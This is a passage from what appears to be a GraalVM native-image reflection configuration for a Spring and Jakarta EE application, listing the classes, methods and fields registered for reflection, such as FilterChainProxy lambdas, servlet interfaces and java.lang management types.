}, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1370/0x0000020b55a3e920\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1372/0x000001ca6da42278\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1372/0x0000022944a3edb8\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1372/0x0000023b5ea3f750\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1376/0x000002933ca3e800\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1405/0x00000070019c8830\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1407/0x000000e0019a69d8\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1410/0x0000022b3b98f428\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1410/0x00000246d69b7670\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1412/0x00000268db9b0828\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1413/0x000001cf3b99ba60\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1422/0x00000257bc9b0e98\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1424/0x00000212b89cfc90\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1424/0x0000023bbb9e3c68\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1424/0x0000023e5a9afa60\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1430/0x00000151709e7710\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1430/0x000002746f9ea4c0\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1443/0x000001dbfb9df710\"] }, {\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1447/0x00007f160c9ef588\"] }, {\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.security.web.FilterChainProxy\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1356/0x000000f001a26bd8\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1356/0x00000188c99e8a60\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1357/0x000001e6d19f64c0\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1362/0x0000007001a1e800\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1370/0x0000019a3aa20e98\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1370/0x0000020b55a3e920\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1372/0x000001ca6da42278\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1372/0x0000022944a3edb8\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1372/0x0000023b5ea3f750\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1376/0x000002933ca3e800\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1405/0x00000070019c8830\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1407/0x000000e0019a69d8\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1410/0x0000022b3b98f428\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1410/0x00000246d69b7670\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1412/0x00000268db9b0828\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1413/0x000001cf3b99ba60\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1422/0x00000257bc9b0e98\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1424/0x00000212b89cfc90\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1424/0x0000023bbb9e3c68\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1424/0x0000023e5a9afa60\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1430/0x00000151709e7710\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1430/0x000002746f9ea4c0\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1443/0x000001dbfb9df710\"] }, {\"name\":\"from\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1447/0x00007f160c9ef588\"] }, {\"name\":\"init\",\"parameterTypes\":[\"jakarta.servlet.FilterConfig\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.security.web.FilterChainProxy\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1356/0x000000f001a26bd8\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1356/0x00000188c99e8a60\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1357/0x000001e6d19f64c0\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1362/0x0000007001a1e800\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1370/0x0000019a3aa20e98\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1370/0x0000020b55a3e920\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1372/0x000001ca6da42278\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1372/0x0000022944a3edb8\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1372/0x0000023b5ea3f750\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1376/0x000002933ca3e800\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1405/0x00000070019c8830\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1407/0x000000e0019a69d8\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1410/0x0000022b3b98f428\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1410/0x00000246d69b7670\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1412/0x00000268db9b0828\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1413/0x000001cf3b99ba60\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1422/0x00000257bc9b0e98\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1424/0x00000212b89cfc90\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1424/0x0000023bbb9e3c68\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1424/0x0000023e5a9afa60\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1430/0x00000151709e7710\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1430/0x000002746f9ea4c0\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1443/0x000001dbfb9df710\"] }, {\"name\":\"of\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1447/0x00007f160c9ef588\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.security.web.FilterChainProxy\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1356/0x000000f001a26bd8\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1356/0x00000188c99e8a60\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1357/0x000001e6d19f64c0\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1362/0x0000007001a1e800\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1370/0x0000019a3aa20e98\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1370/0x0000020b55a3e920\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1372/0x000001ca6da42278\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1372/0x0000022944a3edb8\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1372/0x0000023b5ea3f750\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1376/0x000002933ca3e800\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1405/0x00000070019c8830\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1407/0x000000e0019a69d8\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1410/0x0000022b3b98f428\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1410/0x00000246d69b7670\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1412/0x00000268db9b0828\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1413/0x000001cf3b99ba60\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1422/0x00000257bc9b0e98\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1424/0x00000212b89cfc90\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1424/0x0000023bbb9e3c68\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1424/0x0000023e5a9afa60\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1430/0x00000151709e7710\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1430/0x000002746f9ea4c0\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1443/0x000001dbfb9df710\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$$Lambda$1447/0x00007f160c9ef588\"] }]\n},\n{\n  \"name\":\"jakarta.servlet.FilterChain\"\n},\n{\n  \"name\":\"jakarta.servlet.FilterConfig\"\n},\n{\n  \"name\":\"jakarta.servlet.FilterRegistration$Dynamic\"\n},\n{\n  \"name\":\"jakarta.servlet.GenericFilter\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"jakarta.servlet.GenericServlet\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getInitParameter\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getInitParameterNames\",\"parameterTypes\":[] }, {\"name\":\"getServletConfig\",\"parameterTypes\":[] }, {\"name\":\"getServletContext\",\"parameterTypes\":[] }, {\"name\":\"getServletInfo\",\"parameterTypes\":[] }, {\"name\":\"log\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"log\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Throwable\"] }]\n},\n{\n  \"name\":\"jakarta.servlet.MultipartConfigElement\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"jakarta.servlet.Registration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"jakarta.servlet.Registration$Dynamic\"\n},\n{\n  \"name\":\"jakarta.servlet.RequestDispatcher\"\n},\n{\n  \"name\":\"jakarta.servlet.Servlet\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"jakarta.servlet.ServletConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"jakarta.servlet.ServletContext\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"jakarta.servlet.ServletException\"\n},\n{\n  \"name\":\"jakarta.servlet.ServletRegistration\"\n},\n{\n  \"name\":\"jakarta.servlet.ServletRegistration$Dynamic\"\n},\n{\n  \"name\":\"jakarta.servlet.ServletRequest\"\n},\n{\n  \"name\":\"jakarta.servlet.ServletResponse\"\n},\n{\n  \"name\":\"jakarta.servlet.http.HttpServlet\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"init\",\"parameterTypes\":[\"jakarta.servlet.ServletConfig\"] }, {\"name\":\"service\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\"] }]\n},\n{\n  \"name\":\"jakarta.servlet.http.HttpServletRequest\"\n},\n{\n  \"name\":\"jakarta.servlet.http.HttpServletResponse\"\n},\n{\n  \"name\":\"jakarta.servlet.http.HttpSession\"\n},\n{\n  \"name\":\"jakarta.servlet.jsp.jstl.core.Config\"\n},\n{\n  \"name\":\"jakarta.transaction.Transaction\"\n},\n{\n  \"name\":\"jakarta.transaction.TransactionManager\"\n},\n{\n  \"name\":\"jakarta.transaction.Transactional\"\n},\n{\n  \"name\":\"jakarta.validation.Validation\"\n},\n{\n  \"name\":\"jakarta.validation.Validator\"\n},\n{\n  \"name\":\"jakarta.validation.executable.ExecutableValidator\"\n},\n{\n  \"name\":\"jakarta.websocket.server.ServerContainer\"\n},\n{\n  \"name\":\"jakarta.xml.bind.Binder\"\n},\n{\n  \"name\":\"jakarta.xml.ws.WebServiceRef\"\n},\n{\n  \"name\":\"java.io.ByteArrayOutputStream\"\n},\n{\n  \"name\":\"java.io.Closeable\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.io.Console\",\n  \"methods\":[{\"name\":\"isTerminal\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.io.DataInput\"\n},\n{\n  \"name\":\"java.io.DataOutput\"\n},\n{\n  \"name\":\"java.io.File\"\n},\n{\n  \"name\":\"java.io.FileDescriptor\"\n},\n{\n  \"name\":\"java.io.FilePermission\"\n},\n{\n  \"name\":\"java.io.IOException\"\n},\n{\n  \"name\":\"java.io.InputStream\"\n},\n{\n  \"name\":\"java.io.ObjectInputStream\"\n},\n{\n  \"name\":\"java.io.ObjectOutputStream\"\n},\n{\n  \"name\":\"java.io.OutputStream\"\n},\n{\n  \"name\":\"java.io.PrintWriter\"\n},\n{\n  \"name\":\"java.io.Reader\"\n},\n{\n  \"name\":\"java.io.Serializable\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"java.io.Writer\"\n},\n{\n  \"name\":\"java.lang.Appendable\"\n},\n{\n  \"name\":\"java.lang.AutoCloseable\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.lang.Boolean\",\n  \"fields\":[{\"name\":\"TYPE\"}],\n  \"methods\":[{\"name\":\"toboolean\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.lang.Byte\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.CharSequence\"\n},\n{\n  \"name\":\"java.lang.Character\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.Class\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"java.lang.ClassLoader\",\n  \"methods\":[{\"name\":\"defineClass\",\"parameterTypes\":[\"java.lang.String\",\"byte[]\",\"int\",\"int\",\"java.security.ProtectionDomain\"] }]\n},\n{\n  \"name\":\"java.lang.ClassNotFoundException\"\n},\n{\n  \"name\":\"java.lang.CloneNotSupportedException\"\n},\n{\n  \"name\":\"java.lang.Cloneable\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"java.lang.Comparable\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.Deprecated\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.Double\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.Enum\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"java.lang.Exception\"\n},\n{\n  \"name\":\"java.lang.Float\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.FunctionalInterface\"\n},\n{\n  \"name\":\"java.lang.IllegalAccessException\"\n},\n{\n  \"name\":\"java.lang.IllegalArgumentException\"\n},\n{\n  \"name\":\"java.lang.IllegalStateException\"\n},\n{\n  \"name\":\"java.lang.Integer\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.InterruptedException\"\n},\n{\n  \"name\":\"java.lang.Iterable\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"forEach\",\"parameterTypes\":[\"java.util.function.Consumer\"] }, {\"name\":\"iterator\",\"parameterTypes\":[] }, {\"name\":\"spliterator\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.lang.Long\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.Module\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"java.lang.NoSuchFieldException\"\n},\n{\n  \"name\":\"java.lang.NoSuchMethodException\"\n},\n{\n  \"name\":\"java.lang.Number\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"java.lang.NumberFormatException\"\n},\n{\n  \"name\":\"java.lang.Object\",\n  \"allDeclaredFields\":true,\n  \"allDeclaredClasses\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"equals\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"hashCode\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.lang.OutOfMemoryError\"\n},\n{\n  \"name\":\"java.lang.ProcessHandle\",\n  \"methods\":[{\"name\":\"current\",\"parameterTypes\":[] }, {\"name\":\"pid\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.lang.Record\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"java.lang.Runnable\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"java.lang.RuntimeException\"\n},\n{\n  \"name\":\"java.lang.RuntimePermission\"\n},\n{\n  \"name\":\"java.lang.SafeVarargs\"\n},\n{\n  \"name\":\"java.lang.SecurityException\"\n},\n{\n  \"name\":\"java.lang.Short\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.StackTraceElement\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.String\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"fields\":[{\"name\":\"TYPE\"}, {\"name\":\"value\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.lang.StringBuilder\"\n},\n{\n  \"name\":\"java.lang.System\",\n  \"methods\":[{\"name\":\"nanoTime\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.lang.Thread\",\n  \"fields\":[{\"name\":\"threadLocalRandomProbe\"}]\n},\n{\n  \"name\":\"java.lang.Thread$Builder\"\n},\n{\n  \"name\":\"java.lang.Thread$State\"\n},\n{\n  \"name\":\"java.lang.ThreadGroup\"\n},\n{\n  \"name\":\"java.lang.Throwable\",\n  \"fields\":[{\"name\":\"cause\"}]\n},\n{\n  \"name\":\"java.lang.Void\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.WrongThreadException\"\n},\n{\n  \"name\":\"java.lang.annotation.Annotation\"\n},\n{\n  \"name\":\"java.lang.annotation.Documented\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"java.lang.annotation.Inherited\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"java.lang.annotation.Repeatable\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"java.lang.annotation.Retention\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"java.lang.annotation.Target\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"java.lang.constant.Constable\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.invoke.SerializedLambda\"\n},\n{\n  \"name\":\"java.lang.invoke.TypeDescriptor\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"java.lang.invoke.TypeDescriptor$OfField\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.management.BufferPoolMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.management.ClassLoadingMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.management.CompilationMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.management.LockInfo\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.management.ManagementPermission\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"java.lang.management.MemoryMXBean\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"getHeapMemoryUsage\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.lang.management.MemoryManagerMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.management.MemoryPoolMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.management.MemoryUsage\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"from\",\"parameterTypes\":[\"javax.management.openmbean.CompositeData\"] }, {\"name\":\"getCommitted\",\"parameterTypes\":[] }, {\"name\":\"getInit\",\"parameterTypes\":[] }, {\"name\":\"getMax\",\"parameterTypes\":[] }, {\"name\":\"getUsed\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.lang.management.MonitorInfo\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.management.OperatingSystemMXBean\"\n},\n{\n  \"name\":\"java.lang.management.PlatformLoggingMXBean\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"getLoggerLevel\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getLoggerNames\",\"parameterTypes\":[] }, {\"name\":\"getParentLoggerName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setLoggerLevel\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"java.lang.management.RuntimeMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.management.ThreadInfo\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.management.ThreadMXBean\"\n},\n{\n  \"name\":\"java.lang.reflect.AccessibleObject\"\n},\n{\n  \"name\":\"java.lang.reflect.AnnotatedElement\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.reflect.Constructor\"\n},\n{\n  \"name\":\"java.lang.reflect.Field\"\n},\n{\n  \"name\":\"java.lang.reflect.GenericArrayType\",\n  \"methods\":[{\"name\":\"getGenericComponentType\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.lang.reflect.GenericDeclaration\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  